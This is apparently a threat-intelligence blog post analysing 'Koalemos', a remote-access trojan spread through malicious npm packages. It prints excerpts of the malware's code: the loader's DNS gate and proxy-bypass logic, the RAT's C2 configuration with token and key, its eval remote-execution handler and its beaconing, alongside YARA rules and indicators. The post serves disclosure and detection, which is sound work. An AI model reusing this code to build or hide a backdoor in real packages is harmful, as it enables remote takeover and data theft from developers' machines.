BLOG

BLOG

No Fool's Errand: The Koalemos RAT Campaign

Alessandra

Rizzo

Jan 23, 2026

Introduction

Between January 14 and January 21, our NPM scanner identified several malicious npm packages, which we assess with moderate confidence may be part of a new campaign we have dubbed “Koalemos” by North Korean threat actors due to an overlap of tactics and techniques. Our analysis found that each package contains two obfuscated JavaScript files: a loader and a secondary-stage payload. The packages were published by accounts using Proton Mail addresses and names that matched the real identities of developers from a major US financial institution.

Some packages contained DNS gates targeting the financial institution's internal infrastructure, indicating a targeted supply chain attack. Other packages were published using the names of employees from the same institution, but would execute on any victim system. This leads us to believe there may be two parallel campaigns: one directly targeting the financial institution, and another leveraging stolen employee identities to target unknown victims through social engineering.

Both generic and targeted variants deploy Koalemos, a modular Remote Access Trojan (RAT) framework distributed as a secondary-stage payload. The initial loader performs DNS-based execution gating and engagement date validation before downloading and spawning the RAT module as a detached process. The RAT module implements a "Koalemos" class, from which we named this malware. Koalemos performs system fingerprinting, establishes encrypted command-and-control communications, and provides full remote access capabilities.

The malware bears strong similarities to known documented North Korean campaigns in obfuscation, malware distribution, and identity spoofing. This report documents the technical capabilities, infrastructure, and attribution of the Koalemos campaign based on analysis of multiple package variants.

Technical Analysis

Infection Chain

The infection begins when a victim installs one of the malicious npm packages. The package.json defines a postinstall hook that automatically executes the loader (index.js) after installation completes. The loader first performs a DNS resolution check against a configured gate domain. For targeted variants, this domain is internal to the victim organization and will only resolve within their network. For generic variants, the gate uses a dynamic DNS domain that attackers can enable or disable at will. If the DNS check fails, the loader exits silently without deploying the payload. If it succeeds and the configured engagement date has passed, the loader spawns the Koalemos RAT as a detached background process. The RAT then enters its main beacon loop: retrieving tasks from the C2 server, executing commands, encrypting responses, and sleeping with randomized jitter before repeating.

RAT Architecture Overview

Koalemos implements a two-stage architecture. Once the malicious package is installed, the first stage loader (usually index.js or index-o.js) handles execution gating, environment validation, and payload retrieval (usually koalemos.obfuscated.js). The second stage RAT, which contains the Koalemos class, implements encrypted C2 communications and a task-based command execution framework. Both components use obfuscator[.]io string array rotation for code protection. The RAT uses a class-based design with the Koalemos class containing all functionality, including system fingerprinting, encryption, and command handlers.

Stage 1 - Loader Overview

The loader performs three checks before executing the RAT payload. First, it resolves a DNS gate domain to verify it is running in the intended target environment. Second, it validates whether an engagement date has been reached. Then, it downloads and spawns the RAT in a detached background process and exits cleanly.

const CONFIG = {
    domains: ['elp-44[.]mywire[.]org'],
    proxies: ['http://127.0.0.1:8080'],
    serverUrl: 'https://dpzl4bak52ewv[.]cloudfront[.]net',
    payload: 'koalemos.obfuscated.js',
    engagementDate: new Date('2026-03-28')
};

The DNS gate calls dns.resolve() on the configured domain and only proceeds if resolution succeeds. This limits execution to networks where the gate domain resolves, allowing attackers to control which environments execute the payload by modifying DNS records.

function lookupDNS(domain) {
    return new Promise((resolve, reject) => {
        dns.resolve(domain, (err, addresses) => {
            if (err) {
                reject(new Error(`DNS lookup failed for ${domain}: ${err.message}`));
            } else {
                CONFIG.resolved_domains.push({ domain: domain });
                resolve(addresses);
            }
        });
    });
}
Stage 2 - Koalemos Overview

The RAT is implemented as a JavaScript class named Koalemos. On initialization, it collects system fingerprint data, including hostname, internal IP address, operating system, current username, domain membership, process ID, and architecture. This fingerprint is used to register the agent with the C2 server.

The agent configuration hardcodes the C2 server URL, beacon endpoints, a unique PayloadUUID, authentication headers including a Bearer token, sleep interval (60 seconds), jitter percentage, and a kill date, which may vary depending on the package. The kill date mechanism checks the current date against the configured KillDate on each beacon cycle, terminating the RAT if the date has passed. All C2 communications are encrypted using AES-256-CBC with HMAC-SHA256 authentication.

After initialization, the RAT performs a check-in request to register itself with the C2 server, receiving a UUID that identifies this specific implant. It then enters the main beacon loop: retrieve tasks from the GetURI endpoint, process each task by dispatching to the appropriate command handler, encrypt and post responses to the PostURI endpoint, then sleep with randomized jitter before repeating.

this.info = {
    hostname: this.get_hostname(),
    ip: this.get_ip(),
    os: this.get_os(),
    user: this.get_username(),
    domain: this.get_domain(),
    pid: this.get_pid(),
    arch: this.get_arch()
};

this.agent_config = {
    Server: 'https://d3byjvkj50cpgf[.]cloudfront[.]net',
    Port: '443',
    PostURI: '/usage-logging/v1/log/hublytics-multi',
    GetURI: '/usage-logging/v1/analytics/crumb',
    PayloadUUID: '71a8f503-ea54-4164-8f5f-6f6315753cb4',
    Headers: {
        'Authorization': 'Bearer a6f517528ca844598e8135569150885b',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    },
    Sleep: 60,
    Jitter: 10,
    KillDate: '2027-01-09',
    crypto: {
        dec_key: '6QseDx8TLaIklEEWmAJPYDuFLBenON9W9WJFGdiLRhQ=',
        enc_key: '6QseDx8TLaIklEEWmAJPYDuFLBenON9W9WJFGdiLRhQ=',
        value: 'aes256_hmac'
    }
};

The RAT implements twelve commands:

  • filesystem operations (ls, cat, cd)

  • identity query (whoami)

  • file transfer (download, upload)

  • implant control (sleep, exit, get_config, set_chunk_size)

  • native module loading (load_dll_local)

  • arbitrary code execution (eval).

The download command supports chunked transfer for large file exfiltration. The eval command executes arbitrary JavaScript received from the C2, enabling operators to deploy additional capabilities without modifying the implant.

Techniques Observed

Obfuscation

Both loader and RAT employ obfuscation using the obfuscator[.]io transformation suite. Strings are stored in a shuffled array and accessed through a decoder function that applies base64 decoding followed by URI component restoration. A checksum loop rotates the array to a specific offset before execution, serving as an integrity check that prevents the script from running if modified by a researcher. Decoded strings are cached to reduce performance overhead. The script hides its interaction with sensitive Node.js modules using bracket notation with decoded strings rather than direct method calls:

// Instead of: crypto.createCipheriv('aes-256-cbc', key, iv)
crypto['createCipheriv']('aes-256-cbc', key, iv)

// Instead of: dns.resolve(domain, callback)
dns['resolve'](domain, (err, addresses) => {...})

This prevents static analysis tools from identifying the script's true capabilities because API calls do not exist in the source until runtime.

Network Bypass (https-proxy-agent)

The loader includes support for HTTP proxies using the https-proxy-agent npm package. This allows C2 traffic to be routed through corporate proxy infrastructure rather than making direct outbound connections. In enterprise environments where egress traffic is monitored or restricted, direct connections to unknown CloudFront distributions would likely be flagged or blocked. By tunneling through a configured proxy, the malware can bypass network monitoring tools that only inspect direct connections and blend in with legitimate HTTPS traffic flowing through the corporate proxy. The loader iterates through a list of configured proxies, falling back to direct connection only if all proxies fail:

for (const proxy of CONFIG.proxies || []) {
  try {
    const agent = new HttpsProxyAgent(proxy);
    const result = await sendRequest(agent, proxy);
    if (result.success) {
      CONFIG.resolved_proxies.push(proxy);
      return result;
    }
  } catch (err) {
    console.warn('✗ Proxy failed (' + proxy + '): ' + err.message);
  }
}
return sendRequest(undefined, 'direct');

Remote Code Execution

The RAT implements an eval command that executes arbitrary JavaScript received from the C2 server. This provides full code execution capability without requiring hardcoded functionality.

async eval(task) {
    return {
        data: JSON.stringify(await eval('(async () => { ' + task.parameters.code + ' })()')),
        completed: true
    };
}

This design means credential harvesting, lateral movement, and data exfiltration are delivered through C2-provided code rather than built into the RAT itself.

Jitter

The malware has a sleep mechanism through a jitter to randomize beacon intervals and evade network detection. The jitter percentage modifies the base sleep interval by a random factor.

async agent_sleep() {
    const jitterDirection = Math.round(Math.random()) * 2 - 1;
    let jitterAmount;
    
    if (this.agent_config.Jitter > 0) {
        jitterAmount = this.agent_config.Sleep * 1000 * (this.agent_config.Jitter / 100);
    } else {
        jitterAmount = 0;
    }
    
    const sleepTime = this.agent_config.Sleep * 1000 + Math.random() * jitterAmount * jitterDirection;
    return new Promise(resolve => setTimeout(() => resolve(), sleepTime));
}

Variant Differences

Specific Organization Targeting

Some of the analyzed packages contain DNS gates targeting the internal infrastructure of a major US financial institution. The gate domain ensures the payload only executes within their network environment. This indicates a targeted supply chain attack against the financial services company. Upon discovery, we alerted said institution and shared our findings.

Generic Targeting

Another variant uses the generic DNS gate on the mywire[.]org dynamic DNS service. The npm accounts publishing these packages use Proton Mail addresses and names matching real developer identities from the aforementioned financial institution, suggesting the attackers created convincing impersonations to build trust with potential victims.

Command and Control Infrastructure

The loader sends check-in data to dpzl4bak52ewv.cloudfront[.]net before spawning the bundled RAT payload. The RAT then beacons to a separate CloudFront distribution, d3byjvkj50cpgf.cloudfront[.]net, using specific endpoints. The PostURI /usage-logging/v1/log/hublytics-multi receives task responses while GetURI /usage-logging/v1/analytics/crumb retrieves new tasks. Communications use AES-256-CBC encryption with HMAC-SHA256 authentication.

async encrypt(data) {
    const key = Buffer.from(this.agent_config.crypto.enc_key, 'base64');
    const iv = Buffer.from(crypto.randomBytes(16));
    const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
    
    let encrypted = cipher.update(data, 'utf-8');
    encrypted = Buffer.concat([encrypted, cipher.final()]);
    
    const hmac = crypto.createHmac('sha256', key);
    hmac.update(Buffer.concat([iv, encrypted]));
    const mac = hmac.digest();
    
    return Buffer.concat([iv, encrypted, mac]);
}

Attribution

Koalemos shares tactical and technical overlap with the Contagious Interview campaign attributed to North Korean threat actors, including Lazarus Group, Famous Chollima (UNC5267), and WageMole.

Obfuscation similarities include the use of obfuscator.io string array rotation, which matches techniques documented in BeaverTail and InvisibleFerret malware. Both Koalemos and BeaverTail target developers through npm package distribution.

The delivery method through malicious npm packages mirrors the Contagious Interview playbook documented by Recorded Future and SilentPush.

The use of developer identities and targeting of known financial institutions aligns with North Korean fake job recruitment campaigns. Threat actors create convincing personas using stolen or fabricated identities to approach targets through job platforms, eventually delivering malware through "coding tests" or "interview projects" distributed as npm packages.

Characteristic

Koalemos

BeaverTail / InvisibleFerret

Distribution

Malicious npm packages

Malicious npm packages

Target

Software developers

Software developers

Obfuscation

obfuscator.io string array rotation

obfuscator.io string array rotation

Initial Stage

Node.js

Node.js

Social Engineering

Fake developer identities

Fake job interviews / coding tests

Conclusion

Koalemos represents a sophisticated RAT framework designed for targeted access operations. Unlike credential stealers such as BeaverTail which hardcode specific theft capabilities, Koalemos functions as a flexible platform where functionality is delivered dynamically through C2. The DNS gating mechanism enables precise targeting of specific network environments. Detection should focus on behavioral patterns including CloudFront C2 communications, obfuscator.io signatures, and the Koalemos class structure rather than specific file hashes which vary across re-obfuscated variants.

Learn more about Panther's homegrown Supply Chain Scanner here.


MITRE ATT&CK Mapping

Technique ID

Name

Usage

T1195.002

Supply Chain Compromise: Compromise Software Supply Chain

Distribution through malicious npm packages

T1059.007

Command and Scripting Interpreter: JavaScript

RAT implemented in Node.js with eval() RCE

T1071.001

Application Layer Protocol: Web Protocols

HTTPS C2 via CloudFront

T1573.001

Encrypted Channel: Symmetric Cryptography

AES-256-CBC with HMAC-SHA256

T1082

System Information Discovery

Hostname, IP, OS, username, architecture collection

T1083

File and Directory Discovery

ls command implementation

T1005

Data from Local System

cat and download commands

T1105

Ingress Tool Transfer

upload command for file delivery

T1027

Obfuscated Files or Information

obfuscator.io string array rotation

T1568.002

Dynamic Resolution: Domain Generation Algorithms

DNS gate using dynamic DNS

T1029

Scheduled Transfer

Jittered beacon interval

Detection

YARA Rules

rule Koalemos_RAT {
    meta:
        description = "Detects Koalemos RAT in obfuscated form"
        author = "PantherLabs"
        date = "2026-01-23"
        
    strings:
        $obf_func = /a0_0x[0-9a-f]{4,6}\s*=\s*function/ ascii
        
        $checksum1 = "0x4e7f0" ascii
        $checksum2 = "0x43562" ascii
        $checksum3 = "0xe0579" ascii
        
        $b64_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" ascii
        
        $rotation_loop = "['push'](_0x" ascii
        $rotation_shift = "['shift']()" ascii
        
        $uri_decode = "decodeURIComponent(" ascii
        
    condition:
        filesize < 100KB and
        $obf_func and
        $b64_alphabet and
        $uri_decode and
        (1 of ($checksum*)) and
        ($rotation_loop and $rotation_shift)
}
rule Koalemos_RAT_Loader {
    meta:
        description = "Detects Koalemos loader component"
        author = "PantherLabs"
        date = "2026-01-23"
        
    strings:
        $obf_func = /a0_0x[0-9a-f]{4,6}/ ascii
        $checksum = "0xe0579" ascii
        
        $proxy = "https-proxy-agent" ascii
        
        $detached = "'detached':!!" ascii
        $unref = "['unref']()" ascii
        
        $node_warn = "NODE_NO_WARNINGS" ascii
        
    condition:
        filesize < 50KB and
        $obf_func and
        ($checksum or $proxy or ($detached and $unref) or $node_warn)
}

IoCs

Category

Indicator

Description

Package

env-workflow-test

v2.1.7 to v2.1.23

Package

sra-test-test

v1.1.26, v1.1.28

Package

sra-testing-test

v3.0.7

Package

vg-medallia-digital

v2.0.4

Package

vg-ccc-client

v3.0.5

Package

vg-dev-env

v5.9.9

C2 Server

dpzl4bak52ewv.cloudfront[.]net

Loader C2

C2 Server

d3byjvkj50cpgf.cloudfront[.]net

RAT C2

DNS Gate

elp-44.mywire[.]org

Generic targeting

C2 Endpoint

/usage-logging/v1/log/hublytics-multi

POST - task responses

C2 Endpoint

/usage-logging/v1/analytics/crumb

GET - task retrieval

Authentication

Bearer a6f517528ca844598e8135569150885b

C2 auth token

Encryption

6QseDx8TLaIklEEWmAJPYDuFLBenON9W9WJFGdiLRhQ=

AES-256 key (base64)

Identifier

71a8f503-ea54-4164-8f5f-6f6315753cb4

PayloadUUID



Share:

Share:

Share:

Share:

Ready for less noise
and more control?

See Panther in action. Book a demo today.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.

Product
Resources
Support
Company